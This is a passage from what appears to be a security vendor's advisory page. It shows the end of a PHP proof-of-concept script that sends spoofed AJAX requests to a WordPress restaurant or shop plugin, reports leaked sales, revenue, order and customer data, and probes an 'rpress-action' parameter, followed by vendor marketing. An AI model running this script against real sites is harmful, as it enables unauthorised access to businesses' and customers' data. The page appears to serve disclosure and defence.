        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'X-Requested-With: XMLHttpRequest',
        'Accept: application/json, text/javascript, */*; q=0.01'
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[!] SUCCESS: Received response from {$action}n";
        echo "Response preview: " . substr($response, 0, 200) . "...n";
        
        // Check if response contains shop data indicators
        if (strpos($response, 'sales') !== false || 
            strpos($response, 'revenue') !== false || 
            strpos($response, 'orders') !== false || 
            strpos($response, 'customers') !== false) {
            echo "[!] CONFIRMED: Response contains shop data indicatorsn";
        }
    } else {
        echo "[-] FAILED: HTTP {$http_code} or empty responsen";
    }
    
    curl_close($ch);
    sleep(1); // Rate limiting
}

// Also test the rpress-action parameter via GET (admin-actions.php vulnerability)
echo "n[+] Testing rpress-action parameter via GETn";
$test_url = $target_url . '?rpress-action=test_action&param=value';
$ch = curl_init($test_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "GET test HTTP Code: {$http_code}n";
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School